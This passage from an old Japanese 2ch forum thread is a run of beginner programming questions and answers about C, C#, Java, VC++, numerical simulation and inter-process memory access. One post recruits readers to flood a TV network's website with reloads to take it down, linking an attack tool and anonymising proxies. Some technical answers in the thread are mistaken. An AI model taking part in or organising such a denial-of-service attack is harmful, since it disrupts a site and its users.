なら終了コード(ERRORLEVEL)を返せるよ。
434デフォルトの名無しさん:02/05/04 07:18
>433
がしかし、関係資料ではすべて

static void Main()

と、記述されているので、C#では「void」が当たり前と
いうことで。
435デフォルトの名無しさん:02/05/04 08:44
jakartaとtomcatって何?
436デフォルトの名無しさん:02/05/04 08:53
>>435
JAVAサーブレットエンジン。httpサーバと組み合わせて使う。
437デフォルトの名無しさん:02/05/04 08:54
>>436
あ、httpサーバは内蔵してたかも。
438デフォルトの名無しさん:02/05/04 09:14
jakartaがtomcatを作っているの?
>>438
jakarta はプロジェクト名
http://jakarta.apache.org/
ShockWaveっていうWebのコンテンツあるじゃないですか
主にゲームとかで使われるやつ
あれは、プログラミングなんですか?
jakarta学習帳
>>440
>主にゲームとかで使われるやつ
主にゲームで使われてるわけではないが、
ゲームに使われるんだったらなんでもプログラミングが必要だ。
443デフォルトの名無しさん:02/05/04 09:41
どうして蝶野三沢戦を深夜放送にしたのですか?
>>440
Flash なら ActionScript、Director なら Lingo というスクリプト言語を使う。
>>442,>>444
ほう、オブジェクト指向みたいに面白いの?
>>445
eliza: なぜオブジェクト指向みたいに面白いと思うのですか?
どのくらいの勉強量で習得できるのでしょうか
Lingo
>>443
デカいスポンサーがつかないから
449デフォルトの名無しさん:02/05/04 11:01
VC++でExcelのデータを扱うにはどうすればよいですか?
csv形式ではなく、xls形式のファイルを読み込んで処理したいのですが。
xls形式のファイルの中身を解析して
どういうフォーマットで保存されているか
調べないと無理かなー
いちばん簡単なのはOLE
451デフォルトの名無しさん:02/05/04 11:32
初心者でvisulal basicを初めて使うのですが
使い方が良く分かりません。
gccでは普通にコンパイル実行できるプログラムも
エラーがでて実行されませんでした。
ためしにhelloを表示するやつを書いてもそれもエラーが
出てしまいました。
>>451
ソース見せてみ?
>>451
そのプログラムをここに書いてください。
あと、アナタの住所・氏名・年齢・電話番号と
欲しいプレゼントの番号もね。
>>451
VBじゃ無理だろ(w
BCC使え
http://www.borland.co.jp/cppbuilder/freecompiler/
455デフォルトの名無しさん:02/05/04 11:40
#include <stdio.h>
main ()
{
printf("Hello ,World");

}
>gccでは普通にコンパイル実行できるプログラムも
>エラーがでて実行されませんでした。
そりゃぁ、文法ぜんぜん違うし…なぁ?
>>455
しかもint mainのくせにreturnが無い。
はい、皆さん。
warzerは無視しましょう。
459デフォルトの名無しさん:02/05/04 11:54
>>457
???
460デフォルトの名無しさん:02/05/04 12:57
>>457
int はついてないと思うが?
ついてないからだろ。
>>441そらあんたジャポニk(以下略)
>>460
デフォでint
>>462
ナイスつkk(以下略)
465デフォルトの名無しさん:02/05/04 14:07
プログラミングを本格的に学び始めようとしているものです。
今まではlotus123のマクロぐらいと簡単なC言語しかやったことがありません。
今興味をもっているのがJavaとC#で、どちらもそっくりさんだと聞きました。
自分のやりたいことは簡単なゲームを作ってフリーソフトとしてネットで
配布したいというものです。それでレスをお願いしたいのですが、
(1)どちらが習得しやすい
(2)どちらがソフトを配布しやすい。
(3)どちらが非力なマシンでもOK
でしょうか?
開発ソフトを入手する費用は無視してかまいません。なお
私の使用マシンは300MHz256MBのマシンです。HDは30GBです。
466465:02/05/04 14:08
あ、それから言語の将来性は無視してください。なくならければそれで
OKです。
まずマシンを買おう。
Cが少しわかるなら
Cでいいと思うんだが
>>465
1.一緒
2.一緒
3.一緒
>>465
(1)javaのほうが解説サイトとか多くていいかもしれない
(2)どっちもどっち。
(3)作るもの、コンパイラなどによると思われ
471465:02/05/04 14:17
Cではコンソールアプリを作るのが精一杯でGUIなんてとてもとても・・。
VBやDelあたりに移行しようかと思ったのですが頭がかたくてBasicやPascalは
難しく感じました。C++はとてもじゃありませんが難しそうです。ベターC的な
使い方でもいいかと思いましたが・・・。

マシンの買い換えは当分無理です。
472465:02/05/04 14:19
JavaのVMやC#のCRLは相手にダウンロードしてもらうのを期待しなければ
なりませんが、とても巨大でしかも何だか環境を破壊しそう?で怖いですね。
>>465
> 自分のやりたいことは簡単なゲームを作ってフリーソフトとしてネットで
> 配布したいというものです。

こういうことやりたい人って意外と多いのね。
恥ずかしくてみてらんない。
click&create
RPGツクール。
HS…(バン!)…ピィヒャァァアアアアアア!!!
>>476
いや、イイと思うよHSP。
成長の芽を摘み取る用途なら。
摘み取るというか、そこに閉じ込めるというか。
>>465
結論:CPUを買い替えよう。
480465:02/05/04 14:32
>473
分かりましたでは、あなたには私のURL教えません。

今考えているゲームはデジカメで取った家内の写真(首から下だけ)を
ジャンケンで勝ったら一枚づつ替えるというものです。うまくいけば家内
のヌードがみれます。モード切替で私のヌードもみれます。
ジャンケンゲームにするかポーカーゲームにするか考慮中です。
481デフォルトの名無しさん:02/05/04 14:32
Windowsの
・RRAS(Routing & Remote Access Service)
・RTM(Routing Table Manager)
関係の参考文献ってご存知ありません?
ttp://msdn.microsoft.com/library/default.asp?url=/library/en-us/rras/ras_port_65k5.asp
は見つけていますが,もしこれ以外に何かあれば…

# CEで同じようなAPIがあれば…(略)
482465:02/05/04 14:33
>479
300MHzではJavaもC#も遅いですか?
465
簡単なゲームならCかC++(exeの配布が楽)
471
VC++なら
OnDraw(pDC){
GetClientRect(画面の大きさ
pDC->FillSolidRect(座標、サイズ、色
pDC->LineTo(座標
・・・・
}
だけじゃん
482
やることによるとおもいますが
484デフォルトの名無しさん:02/05/04 14:36
IEの標準コンテキストメニューの削除って可能ですか?
デフォルトの状態でいらない項目が削除できればいいのですが。

>>480
ちょっと基地外じみたゲームだな…
それってC++をがんばって覚えてVC++で作ったほうがいいんじゃないか?
一応Cをもう少し深く勉強すれば作れる程度のものだし
>>482
C#でVisualStudio使いたいんならキツイかと思います。
487デフォルトの名無しさん:02/05/04 14:50
mingw32で
がんばれば
ゲームつくれますか?
解説ページが
少ないです
>>487
どんな言語でもゲームくらい作れます。
489デフォルトの名無しさん:02/05/04 14:57
mingw32の
使い方がよくわからんのです

だれか使ってる非といませんか
>>489
もしいたとしたら何を聞くつもりだ?
EDITで64KB以上入力するのはどうあがいても不可能ですか?
>>491
素直にRishTextをプレーンに使うのが吉。
493489:02/05/04 15:04
>>490
う、そういわれると、

リソースコンパイラの
使い方とか、

マニュアルあるんですけど

”猫でも”よみながらWinAPIを
勉強しようと思ったんですが
VC++の説明なので
RishText??
493
なんだVCもってるじゃん。
>>493
結局は全部教えろってコトだろ?
それじゃあダメだろ。
わからないとこがでてきてこれはどうするの?ってのが普通の質問だ
コンパイラの使い方がわからないじゃコンパイラの起動から教えてってのか?ということになる
>>492
RichText
498489:02/05/04 15:12
>>495
VC持ってないっすよ

>>496
そのとおりです
コンパイルはできます

リソースファイルの書き方の説明
だれかしてください

よくわかる説明がみつからなんです
499491:02/05/04 15:16
>>492
レスどうもです。
RichEditにすれ、ってことですか?
でもRichEditって重かったりとかしないですか?
500500ゲトォ:02/05/04 15:19
windows2000にすれ
>>499
普通のテキストでできないのだから
仕方がないということで。

それがいやなら自分で作るしかない。
しかし、確か W2k 以降は普通のテキストボックスでも
64K の制限がなくなってたと思うので、
無理して作るのも虚しいような。
502デフォルトの名無しさん:02/05/04 15:43
質問です。

数値誤差を出来るだけ少なくするためにはどのような手段があるのでしょうか?

数の小さなものから足していけば良いというのは知っているのですが、
これ以外で有効な手段はありませんか?
503491:02/05/04 15:44
>>500-501
ありがとうございます。
そうですか。んじゃ仕方ないですね。
ということは、例えばWindows98で制限があってもWindows2000だと
制限無く使えたりするんですか、、?

あと、フリー版のEmEditorとかのボックスって自前で用意してるんですか?
>>502
テンプレートクラスのように抽象的。
わりざんとかは最後にやる
498
VCなければ猫の理解は無理と思われ。

ただリソースエディタはBorland C++になかったけ?(記憶不鮮明)
ttp://pc.2ch.net/test/read.cgi/tech/1002377328/61

そもそもゲームプログラムにリソースは必須と思われないが。
>>502
一言で言えるならみんな苦労しない。
数値計算に関する本を嫁。
Numerical recipe in Cとか。
日本語版もあるYO
>>502
桁あふれしない掛け算は、割り算より先にやれ。
bignumを使え
そもそも誤差の出る計算機なんぞを計算に使うな。
511489:02/05/04 15:52
>>506
まじすか

いま猫のサンプル
コンパイルがmingw32で
通りませんでした

辛い。。。。
>>510
誤差の出ない計算機ってあるの?
513489:02/05/04 15:54
追加です

今bmpを表示させようとしてるんです

できません
514javaっぽいですか?:02/05/04 15:55
// - app

class App;
static App * pApp = 0x0;

class App {
public:
App() {
::pApp = this;
};

virtual void Main() = 0;
};

int main() {
if (!pApp) {
return 0;
};

pApp->Main();
};


// - main.cpp
#include <app>
#include <iostream>
using namespace std;

class myapp : App {
public:
void Main() {
cout << "hello world!" << endl;
};
};
myapp theApp;
511
MSDNの
How To Use LoadImage() to Read a BMP File
にBMPファイルからデバイスコンテキストに表示する方法が載っているが。
そもそも漏れはミングウイン氏らん。
516502:02/05/04 16:03
>>504&505&507&508&510
>>509?

すいません。
それでは、物体の運動などの計算を正確に行う為にはどうすればいいのでしょうか?
現在、力とごく短い時間を掛けることにより速さを求め、
さらにその速さに時間を掛けることで移動距離を求めているのですが、
この力が速さに比例するのです。

すると、より厳密に計算するためには出来るだけ細かい時間で計算する
必要があると思うのです。

しかし、細かい時間で計算すると、それで計算した物は
とても少ない数になってしまう&計算の回数が増えてしまう
、と数値誤差の要因が増えてしまうという状況に陥ってしまいます。

こういう場合、どのように計算するのが良いのでしょうか?
>>516
力が速さに比例するなら
光速まで加速し続けることが
計算しなくても分かる。
>>516
近似式(線形近似)が良くないからステップを
細かくしなければならないんだろ。

ちゃんと二次式で近似しろ。
ねた的にはシム板か?
>とても少ない数になってしまう
たとえば数値が1.7E-308+15桁 のを割り込むのか?
>計算の回数が増えてしまう
計算量が100倍になっても1桁ちょっと落ちる
だけだと思うが。(違うかもしれん)
520502:02/05/04 16:16
>>516
すいません。説明が足らなくて誤解されたようで。
問題となる一部分のみについて説明したので光速まで加速するわけで、
重力や摩擦などを考慮に入れた実際のプログラムではなりません。

それから、光速まで加速するにしろ、計算の仕方によって加速の仕方が
違うわけなんで、その計算の過程がしりたいのです。

521デフォルトの名無しさん:02/05/04 16:25
Windowsのゲームソフトでよく「フルボイス!」とかいって
キャラクターがしゃべるゲームがありますが、あれは、どういう形式で
データーを持っているのでしょうか?
MP3かWaveだと思うのですが、あたってますか?
運動方程式を立てろ
a=F/m
a:加速度、F:力、m:質量
で、
F=gm+kv─f(v)
g:重力加速度、k:比例定数、v:速度、f(v):摩擦

これを時間tについて2回積分すれば時間区間Δtに関
する移動距離が出る。

すると(摩擦をどう計算してるかによるが)
tの3次式で近似できるんじゃないのか?
523デフォルトの名無しさん:02/05/04 16:43
すごくくだらない質問なんですが(汗)・・・・超初心者なのでお許しを。
え〜と、Visual C++ 6.0ってあるじゃないですか。
あれってC++だけじゃなくてCも打てるんですか?
524502:02/05/04 16:45
>>518
あまり数学とか詳しくないので二次式で近似しろっていう意味がよく分かりませんが、

物理の
ma=F,
v=dr/dt,
a=dv/dt,

という式ではいけないのですか?

>>519
確かにねた的にシム板ですね。

>たとえば数値が1.7E-308+15桁 のを割り込むのか?
これは倍精度実数型のことですよね。
まだプログラムの途中なので実際の誤差はまだわかりません。
ただ、シミュレートした結果を実際の物体に適用したいので
なるべく誤差の出ないような計算を知りたかったのです。

こういうプログラムを組むのは初めてでして、シミュレーションの
計算にはゲームなどと違って厳密に求める為の定石的
手法があるのではないかと思って質問しました
>>523
打てる

ネットの質問での超初心者だから〜 ってのはタブーね
526デフォルトの名無しさん:02/05/04 16:48
>>523 CとC++の関係をもう一度勉強し直しましょう。
そすればわかります
527502:02/05/04 16:51
>>522
書き込んでいる間にレスがきたようで、ありがとうございます。

物体の動きに動き(軌道かな・・)に変化が無ければそういった式で
求まると思うのですけど、リアルタイムに力や速さ、周りの環境が変化する
場合にもその式で上手くいくのですか?
528502:02/05/04 16:52
>>527
まちがいました。

>>物体の動きに動き
物体の動き
>>524

>物理の
>ma=F,
>v=dr/dt,
>a=dv/dt,
>
>という式ではいけないのですか?

いいんだけど、それをv=r/t, a=v/tとしちゃうと無
限に細かいシミュレーションしない限り成り立たな
い。

有限の区間でやるんだから、その区間に進む距離を
表す式にしないと。つまり定積分ね。
>>527

>物体の動きに動き(軌道かな・・)に変化が無ければそういった式で
>求まると思うのですけど、リアルタイムに力や速さ、周りの環境が変化する
>場合にもその式で上手くいくのですか?

力(の式)が変わるごとに計算をやり直せる
なら正確になるよ。

それが無理なら近似に過ぎないが、
少なくともv=at, r=vtという粗っぽい
式よりは良い近似になる。
>>502は学校の宿題やってるのかな?
もしそうなら問題文を書き込んだほうが手っ取り早いかもしれぬ。
532502:02/05/04 17:03
>>524
そうですね。

それで、その「有限の区間」をどれだけの時間にするかが問題だと思うんです。
無限に細かくすればするほど正確になると思うですけど、
そうなると計算の量が多くなる&進む距離、速さがとても小さくなってしまい
誤差が問題になるとおもうんです。

でも、「有限の区間」を長くすると、リアルタイムな状況の変化について行けなくなり
これもまた誤差がでるんではないかと。
>>532
式が変化するまでは同じ運動を続けるだろう。
式が変化する頻度より細かくする意味はないと思うが。
532
シミュレーションなのにリアルタイム?
もしかしてフィードバック制御がやりたいの?
535502:02/05/04 17:10
>>530
>>531
またも書き込み中に返事をくれたようで、感謝します。

学校の宿題というか研究です。
それで、すごくくだらない質問で扱うにはふさわしくない
内容になってきましたし、これ以上ことは自分で解決して見ようと思います。

今までレスしてくれてありがとうございます。
536502:02/05/04 17:14
>>533
>>534

ええと、ラジコンヘリの制御が最終目標なんですけど、
実機をいきなり扱うのは、壊れてはいけないので無理。
では、その実機をシミュレートした物を作ってしまって、
それで、制御の実験をしようというわけです。

よって、風などの周りの環境の変化で式は際限なく変化
するのではないかと思うのです。
537デフォルトの名無しさん:02/05/04 17:17
#include <stdio.h>

void main (void)
{
int dat,sum,n;
sum=n=0;
while(scanf("%d",&dat)!=EOF)
{
sum=sum+dat;
n++;
}
printf("合計 = %d\n平均 = %d\n",sum,sum/n);
}

これを実行しても

C:\C source\mondai>reidai10
12
453
54
4
平均 = 130

のように合計が表示されません。
どこが悪いのですか?
538537:02/05/04 17:20
しかも平均のところが合計になってしまいます。
539537:02/05/04 17:21
538は勘違いです…
鬱だ氏のう
VCなら
printf("\n合計 = %d\n平均 = %d\n",sum,sum/n);
とするのがマナーですといってみるてすと。
>>536
> ええと、ラジコンヘリの制御が最終目標なんですけど
くだらなくない。面白そう。
536
USBの人ね。
543502:02/05/04 17:28
>>541
確かにやりがいはありますね。
こんな機会でないとこういったプログラムを制作する機会はないと思うので。

単発の質問でしたのでここに書かせてもらいました。
>>541
面白そうだからスレ違いということだろ(w
545502:02/05/04 17:31
>>542
やっぱりばれましたか。
ばれてもいいんだけど。

もしかしたら質問に答えてくれていた人なのですか?
でしたら、あの時はお世話になりました。
546537:02/05/04 17:31
>>540
そのようにするとなぜか上手くいきました。
どうもありがとうございました。
546
おととい同じしつもんが・・・
ttp://pc.2ch.net/test/read.cgi/tech/1020260813/59
あぁ、黄金週間。
_
548
&rlo;ってなになに
解説キボーン。
えい
;゚д゚) <550ゲットらしいよ・・・&&rrlo; !ッーエ;゚Д゚(Σ
おりゃ
あれ、、?
554デフォルトの名無しさん:02/05/04 18:34
>>550-553

.......

( ΦωΦ)=○)'3')
>>554
ごめんちゃい。(´∀` )
556初心者にもなってない:02/05/04 18:53
Borland C++ と VisualC++では
どちらのほうが優れていますか?
557デフォルトの名無しさん:02/05/04 18:54
>>556
最適化ならVC++
558デフォルトの名無しさん:02/05/04 18:55
あるフリーウェアを使おうとしたら
COMCLT32.OCX is not available
と表示されました。どう対処すればいいでしょう?
WINDOWS XPです。
98の時は通常に使えていたのですが関連は
ありますか??
教えてください・・・・
>>558
悪いことイワンからPC初心者板に逝け。
560デフォルトの名無しさん:02/05/04 19:02
558です。そんな初歩的なことなんですか・・・
逝ってきます。初心者板・・
561デフォルトの名無しさん:02/05/04 19:04
Visual C++とVisual C++.netの違いってなんですか?
これからC言語を始めようと思ってるんですけど・・・・・
どっちを買ったらいいんでしょうか?
>>561
Visual C++.NETはVisual C++の現時点での最新版
>>561
マルチ
564デフォルトの名無しさん:02/05/04 19:13
>>562
値段の違いが気になるのですが・・・・
C++.netはC++の機能も兼ね備えているんですか?
>>564
比べようがないだろ。
Visual C++はマイクロソフトが開発・発売しているC++開発環境。
Visual C++.NETはその最新版だってば。
>>565
便乗。
CLRアプリも作れるし従来のMFCとかでネイティブコードも生成できると。
567564:02/05/04 19:20
>>565
ふむふむ・・・そうなのですか。
ところでどっちを買えばいいのだろうか・・・・・・
VC++6.0とVC++.NETの違いとかならこたえようがあるんだけどな。
>>567
買えるのはVisual C++.NETだけ。
570564:02/05/04 19:27
>>568
ぬぬっ!?違いを教えてくだされ!なるべく分かり易くお願いします。
初心者なんで。

>>569
VC++6.0って生産中止になったんですか!?
ああ、意地悪してるのかw
あぼ〜ん
573ん〜ぼあ:02/05/04 19:31
ん〜ぼあ
>>570
Visual C++ってVisual C++6.0のことを指していたのか(ワラ

ところでコンパイラだけならVC++.NETって落とせなかった?きっと制限があるんだろうけど。
>>574
落とせねーよばか。
577564:02/05/04 19:44
誰か教えて〜。
VC++6.0って生産中止になったんですか?
>>576
ああ、SDKにもC++コンパイラ入ってるのか。
C#だけだと思ってた。ゴメソ
577
検索
567
IDEなしで最適コンパイラ付きってどっかのスレに書いてあったけど。
そうなの?
(160Mかぁ)

>>579
C言語スレで見たの。
落としたわけではないから正しいかどうかはわからん。
581564:02/05/04 19:54
ってかVC++6.0とVC++.netの違いは?
VC++6.0 = オールドタイプ
VC++.NET = ニュータイプ
583564:02/05/04 19:57
>>582
ってことはVC++.netの方が内容はいいって事?
ガ━(゚Д゚;)━ン
>>582
そうだったのか・・・・。
所詮俺はオールドタイプということか
初心者に
そんなたいそうなモンはいらないと思う
VC.NETはオールレンジ攻撃可能ですか?
  l       γ   ヽ
 l   i"´  ̄`^´ ̄`゛i |
 |   |         | |
 ヽ  / ,へ    ,へ ヽ./
  !、/   一   一 V     あかんやん
  |6|      |     .|
  ヽl   /( 、, )\  )
   |   ヽ ヽ二フ ) /
   丶        .ノ
   . |    ー-イ
VC7 Proきぼんぬ。
.netの部分はいらんから、最適化コンパイラ+IDEだけ欲しい・・・
589デフォルトの名無しさん:02/05/04 21:14
ASPとCGIはどっち勉強したらお得ですか?
>>589
お仕事によるんじゃない?
概念的には近い物がある。
両方がお得です。
592デフォルトの名無しさん:02/05/04 21:23
そういえばVC++6.0見かけんなぁ。最近
593デフォルトの名無しさん:02/05/04 21:23
>>592
通報しますた。
>592
俺はバリバリ現役でつかってるよ・・・・
画像フォーマットの仕様書ってどこにあるの?
とりあえず BMP と PICT のがほしい。
596デフォルトの名無しさん:02/05/04 21:30
>>594
いやいやそういう意味じゃなくて、店頭に置いてないって事
>>595
検索かけたらびっくりするほど引っかかる。
598595:02/05/04 21:40
>>597
検索かけたんだけどひっかかるのスキャナとかデジカメとかばかり。
画像フォーマットそのものの仕様が見つからないんだけど。
検索の仕方が下手なのかな。
599 :02/05/04 21:42
■戦士募集■
[時間帯]
5月4日夜10時
[集合場所]
ガチンコHP
http://www.tbs.co.jp/gachinko/bbs/top.html
[作戦内容]
F5攻撃によりサーバを落とす
[攻撃用ツールヽ(゚∀゚)ノ]
http://members.tripod.co.jp/kusokuso/index.html
[攻撃隠蔽工作ヽ(゚∀゚)ノ]
http://tools.rosinstrument.com/proxy/proxies.htm

596
VS6とVC6は6月で販売停止だから、店頭から引き上げたかも。
601595:02/05/04 21:43
>>597
BMP のはサーチエンジン変えたら見つかりました。
http://www.vector.co.jp/soft/data/art/se027618.html
PICT もがんばってみます。
6021:02/05/04 21:53
このスレッドをたてた「1」です。
煽りもあらわれず、すごく低レベルな質問でもまったりとお返事がいただけで
みなさんに感謝しております。連休中にもかかわらず私は仕事がありますので、
レスが1000になったら、どなたかPart2を立てていただきたいと思います。
どうかよろしく。
>>602
喧嘩売りに来たのか?
6041:02/05/04 22:03
>603
意味がわかんないけど、俺は仕事で忙しいということで噛みついたわけ?
君、ぷーのプログラマ?
>>604
煽りハッケソ
606裕美子:02/05/04 22:12
なる!
裕美子絶対にプログラマになる!!
みんな応援してね!!
607:02/05/04 22:14
>606
応援してあげるから、何か質問しなさい。
ここはどーーーーーーーーんなに低レベルの質問でも、罵倒されずに
みんなから暖かいコメントをいただけるスレッドですよ。
小泉ってまだ首相やってたのかよ・・・びくーり!!
609デフォルトの名無しさん:02/05/04 22:25
main の戻り値は?
>>609
intです
voidにすると実行したとたんDVDが蒸発します
>>609
mainの型による
>>609
int
>>609
public static void
Public Sub だよ。
mainなんて無いも〜んだ。
exit(1);
*/
618デフォルトの名無しさん:02/05/04 23:46
お、2chの閉鎖は近いか?
619デフォルトの名無しさん:02/05/05 03:01
589です「ASPとCGIはどっち勉強したらお得ですか?」 なんですけど

社内で支店とのデータ通信でWEBサーバーたててみようかという話が出てきてて、
自分はもともとCGI勉強しようかなと思ってたんだけど
会社的にはASPで一度試みてたらしくて、

WEBサーバーの件引き継ぐことになるかもしれないので、どっちでやったらいいかなと

620デフォルトの名無しさん:02/05/05 03:40
プログラム板って、どうして電波多いのですか?
621デフォルトの名無しさん:02/05/05 03:42
>>620
それはここが隔離版だからだよ。
622デフォルトの名無しさん:02/05/05 03:59
>>619
CGIに一票

>>621
なぬ!?
623デフォルトの名無しさん:02/05/05 04:34
コンパイラLSIC-86試食版で、windows.hヘッダーのソースをコンパイル中に
「widows.hがオープンできない」ってエラーが出てお手上げです
誰か・・・
>>619
ASP.NET
>>623
windowsのライブラリを含んでるコンパイラを使いなはれ
626デフォルトの名無しさん:02/05/05 06:37
あるプログラムから、別の実行中プログラムの変数の
アドレスを取得しようとして、
//////////////////////////////
プログラムA
void main(){
int a = 99;
//ここでストップ
//aのアドレスは0x00000010
}

プログラムB
void main(){
int *b = NULL;
b += 0x00000010;
}
//////////////////////////////
とし、プログラムBで変数aの値を取ろうとしたのですが
駄目でした。冷静に考えれば当たり前の話ですが、
変数のアドレスは何処からのオフセット値なんでしょうか?
別プログラムの変数の値を取得することは可能でしょうか?
>>626
OSとコンパイラに聞いて下さい
ていうか、NULLに加算してる所を見ると、ネタか?
>>626
ページングとか仮想メモリとか聞いたことある?OS書いてないから何とも言えないけど。
>>627
NULLは0なのです。
これは宇宙の真理です!!

と、ぶり返してみようとするテスト。
>>626
やろうとしている事はわかるが、まずやり方が間違っている。
正しくは、プログラムBの3行目を
*b = (int*)0x00000010;
とするべき。
そして変数のアドレスは不定ですが、得られない事もない。
自動変数の場合はスタックの開始位置を、グローバル変数の場合は決まった
オフセット値を得られれば、取得する事もできる。一応。
その情報は、実行プログラムの先頭部分に書かれている。オンメモリから
調べるべきではない。
そしてメモリ保護されているOS上で、同時に実行している別プログラムに
割り当てられたメモリを読む事はまず不可能。どうしても行う必要があるのなら、
CPUの状態を最上位権限に変更し、割り込みを一時的に停止させる必要がある。
現在動いていないプログラムの変数を読む事は、全く不可能ではないが
得られた値の信憑性はかなり低い。なぜなら、そのプログラムを終了させる時に
その変数の内容が破壊されている可能性が高いからである。
>>626
Windows なら DebugActiveProcess()、Unix でも同じような実行中の
プロセスにアタッチする API 持ってる。で、お前は何のためにそんなこ
とする必要があるんだ ? デバッガ作るならこれで良いけど、プログラム
間でデータのやり取りしたいならファイルマッピングなんかを使え。
632デフォルトの名無しさん:02/05/05 10:47
VSS(VisualSourceSafe)って新しいのでないね。
>>630
一生懸命、もってる知識を振り絞って書いたんだよね。その熱意だけは
伝わってくる。でも、内容は間違ってるしウザイから、もうこないでね。
MMUとOSが頑張ってるから無理なんじゃないの?
>>632
外部にアーカイブ(=ssarc)したデータを復元(=ssrestor)できないことがあるからな
それ以来使ってない
>>630
なんか、いろんなものがごっちゃになってるね。
637デフォルトの名無しさん:02/05/05 13:03
★★★ Happy Hacking Keyboard は
★★★ VBのプログラミングにも、向いているんだろうか
638デフォルトの名無しさん:02/05/05 13:03
>>626
最近のOSは仮想メモリを割り当ててるからねー。
データを共有したいんだったら、プロセス関連の書籍とか読むといいよ。
子プロセスとして実行すれば取得できるはずだから。
639623:02/05/05 13:22
>625
うう、LSICはwindows.hは使えなかったのか。どうもありがとう。
>>638
仮想メモリとメモリ保護は違うぞ。
データ共有が子プロセスとしかできないなんて、いつの話だ ? 時代に
取り残されてねーか ?
641デフォルトの名無しさん:02/05/05 13:25
EXCELでVBAをつかってフォームを作りたいんですけど
どうすれば出来ますか?挿入⇒フォームで作れるんですけど
作成したエクセルファイルを開いてもシートが表示されるだけで
フォームが出てきません。シートは表示しないで、作成したエクセルファイルを
開くとフォームだけ表示するように出来ますか?
宜しくお願いします。win2000 office2000です。
フォーム名.show
とかやったような
ブックの Activate イベントでフォームを表示すればいいと思う。
ちなみに、Excel 関係なら ビジネスsoft 板のほうが適切かと。
644デフォルトの名無しさん:02/05/05 13:41
>>643
ありがとうございます。
いってきます。
>>640
メモリ保護:OSがコケないためのメモリ管理方法。
仮想メモリ:プログラムに与えられる仮想的なメモリ空間。
今回の質問ではメモリ保護は無関係だと思っていたが、違うのか?

>変数のアドレスは何処からのオフセット値なんでしょうか?
プログラム側から見れば仮想メモリ空間からのオフセット。
>別プログラムの変数の値を取得することは可能でしょうか?
一つの方法はプロセス制御。そりゃ別の方法もあるだろうけど、俺は知らん。
良かったら誰かもっと簡単な方法も書いてやってね。
646デフォルトの名無しさん:02/05/05 14:26
 
>>645
> 今回の質問ではメモリ保護は無関係だと思っていたが、違うのか?
はぁ ? どこがどうなったら「別プログラムの変数の値を取得することは可能で
しょうか?」から、仮想記憶の話が出てくるんだ ? スワップファイルを直接読
むのかよ。バカ。

> 良かったら誰かもっと簡単な方法も書いてやってね。
>>631 嫁。知ったか厨房。
648知ったか厨房:02/05/05 14:56
創作プログラミングの街\プログラミング研究所\Windowsプログラミング研究室\C+API\ファイルマッピングによるファイル操作。か。
知ったかしてしまったよ。すまんm(_ _)m。
>>648
素直でよろしい。けど、すう少し世間についていった方が良いと思うよ。
マジで。
650デフォルトの名無しさん:02/05/05 15:22
@@@@@@@@@@@@@@@@:@:@:@:@:@:@:@:@:@:@:@:
Ruby !!!!!!
>>648
俺、理解の早い人好きだよ
でも知ったか厨房は(゚з゚)キライ!!
ついでに打ち間違ってる>>649も(゚з゚)キライ!!
652知ったか厨房 :02/05/05 15:29
世間…。
やはり書籍と隔離されたパソコンだけでの勉強には無理があるということか…。

ネカフェに逝ってくるよ…。ああ…最新情報が妙に高い…。(T_T)ノ
>>652
方針は間違ってない。
書籍と閉鎖されたPCで試行錯誤すれば実力はめきめき付く。
後は外の常識を知るため羽ばたくだけだ。
#!/usr/local/bin/perl
BBS一行目のこれ、ソネットだったらなんて書き換える?

655649:02/05/05 16:16
>>651
ごめんよ。タイプミスだわ。

>>652
まあ、ちょっと知ったか君の匂いがしたからきついこと書いたけど、
ちゃんと反省できてるなら、問題はなしだ。ここにいる偉そうに書いてる
奴らも俺を含めてそう言う知ったかを繰り返して大きくなっているから
心配するな。ガンパレ。ただし、本気で勉強するならネットカフェより
いい書籍の方が絶対良いぞ。本には、金を惜しむな。
>>654
マルチやめれ、ウザイ。第一ソネに聞けよそんなこと。
658デフォルトの名無しさん:02/05/05 16:26
なんで「Ruby!」と叫んでる人があちこちにいるんですか?
ム板の風物詩として流しとくのが正解なんでしょうけど、
どういった経緯でそういう風になったのか、誰か知ってる人いません?
659デフォルトの名無しさん:02/05/05 16:28
Ruby!
660shige:02/05/05 16:30
matz尊師によるRuby誕生
>>658
この板では自分の使えない言語をバカにしなくてはいけないという決まりがあります。
662デフォルトの名無しさん:02/05/05 16:30
>>658
perlでプログラムを作っている時に、ふとRubyで書いたら簡単だったんですよ。
それで、夜なのに、郊外の本屋に行ってですね、Rubyの本を買ってきて徹夜で読んだんですよ。
そしたらですね、なんと、今まで苦労していたプログラムが次々簡単に書けるように
なったんですよ。さらに、具合の悪かった妻の調子も良くなって、私の仕事もぐんぐん
上手くいくようになったんですよ。
これはrubyのお陰としか思えないんで、皆に紹介しているんですよ。
>>658
GW だからだろ。ちなみに、そんなくだらんことであげんなよ。
664デフォルトの名無しさん:02/05/05 16:31
Ruby >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> C++
>>663
>GW だからだろ。
違うぞ?
>>662
つまらない。「クロレラ」のチラシ見て、勉強しろ。
667デフォルトの名無しさん:02/05/05 16:33
>>662
どこかの怪しい医薬品とか、皮財布とか、バンダナの宣伝にのってそうな文だな。
668デフォルトの名無しさん:02/05/05 16:35
去年の夏くらいからだ。
shigeの登場と、それに伴う膨大なRuby厨房の発生。
669デフォルトの名無しさん:02/05/05 16:38
shigeは、もとPerl厨房。
しかし、旧CGI板の人間に「クレジット削除」の件で晒し上げられ、サイトを荒らされてから
Rubyユーザに転向し、この2ch住民に復讐を誓った。
>膨大なRuby厨房
つうか多くて 4、5 人だろ。
shigeは、細胞分裂により、今も増え続けている。
672デフォルトの名無しさん:02/05/05 16:41
>>669
そんな経緯があるとは知らなかった。
>>672
信じる奴が要るとは思わなかった。
674デフォルトの名無しさん:02/05/05 16:43
緊急告知!今ならあのロボ鉄とチャットができる!
◆持ち物
┣ヤフ−メッセンジャー
┣ヤフ−ID
┗ふれ合いの心
◇日時:5/5の夜まで
→ロボ鉄のヤフ−IDはrobotetsu10です。
 さぁどんどんチャットしましょう!
   ∫∫∫
    ∧ ∧
    (*゚ー゚)マッテルヨ!
  ∧∪∪∧
  |       |っ
  |. #´∀`# .|ノ
  \__ /
ロボ鉄とチャットなんかしたくねー
そもそもロボ鉄って誰?
677デフォルトの名無しさん:02/05/05 16:51
オススメのマクロ言語はなんですか。

そんなことより早く日本語のプログラム言語を作ってください。
日本語のマクロ言語が使える表計算ソフトを作ってください。
678デフォルトの名無しさん:02/05/05 16:51
